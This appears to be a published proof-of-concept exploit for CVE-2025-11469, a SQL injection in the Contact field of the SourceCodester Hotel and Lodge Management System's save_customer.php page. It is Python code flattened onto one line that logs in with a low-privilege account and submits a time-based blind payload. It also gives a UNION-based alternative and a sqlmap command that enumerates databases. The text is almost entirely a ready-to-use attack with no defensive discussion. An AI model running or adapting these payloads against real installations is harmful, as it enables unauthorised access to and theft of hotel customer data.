CVE-2025-11469：SourceCodester酒店管理系统SQL注入漏洞

# CVE-2025-11469 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability Location: /pages/save_customer.php # Vulnerable Parameter: Contact import requests # Target configuration TARGET_URL = "http://target-host.com" LOGIN_URL = f"{TARGET_URL}/login.php" SAVE_CUSTOMER_URL = f"{TARGET_URL}/pages/save_customer.php" # Attacker credentials (low privilege required) USERNAME = "test_user" PASSWORD = "test_password" # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate to obtain low-privilege session login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft SQL injection payload for Contact parameter # Using time-based blind SQL injection technique sql_payload = "' OR SLEEP(5) OR '" # Time-based blind injection # Alternative: UNION-based injection # sql_payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" # Step 3: Send malicious request with injected Contact parameter injection_data = { "CustomerName": "Test Customer", "Contact": sql_payload, "Email": "[email protected]", "Address": "Test Address", "submit": "Save" } response = session.post(SAVE_CUSTOMER_URL, data=injection_data) # Step 4: Verify exploitation if response.status_code == 200: print("[+] Injection request sent successfully") print(f"[+] Response length: {len(response.text)}") # For time-based: if response took >5 seconds, injection confirmed # For UNION-based: check response for database content else: print(f"[-] Request failed with status code: {response.status_code}") # Alternative: Using sqlmap for automated exploitation # sqlmap -u "http://target-host.com/pages/save_customer.php" \ # --data="CustomerName=test&Contact=*&[email protected]&Address=test&submit=Save" \ # --batch --dbs --cookie="PHPSESSID=your_session_id"